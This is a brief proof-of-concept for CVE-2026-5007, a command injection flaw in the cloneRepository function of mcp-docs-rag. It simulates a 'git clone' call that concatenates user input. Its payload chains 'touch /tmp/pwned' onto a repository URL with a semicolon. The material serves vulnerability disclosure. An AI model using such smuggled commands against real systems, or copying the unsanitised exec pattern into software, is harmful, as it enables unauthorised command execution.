CVE-2026-5007 mcp-docs-rag OS命令注入漏洞

// PoC for CVE-2026-5007: OS Command Injection in mcp-docs-rag // Target: cloneRepository function in src/index.ts const vulnerableFunction = (repoUrl) => { // Simulating the vulnerable code pattern where user input is directly concatenated // Actual vulnerable code might look like: exec(`git clone ${repoUrl}`) const command = `git clone ${repoUrl}`; console.log(`Executing command: ${command}`); // In a real scenario, this would execute the command }; // Malicious payload to inject commands (e.g., creating a file or reversing shell) // Using semicolon to chain commands const maliciousPayload = "https://github.com/exploit/repo.git; touch /tmp/pwned; #"; console.log("[+] Triggering CVE-2026-5007..."); vulnerableFunction(maliciousPayload); console.log("[+] Check if /tmp/pwned exists to verify exploitation.");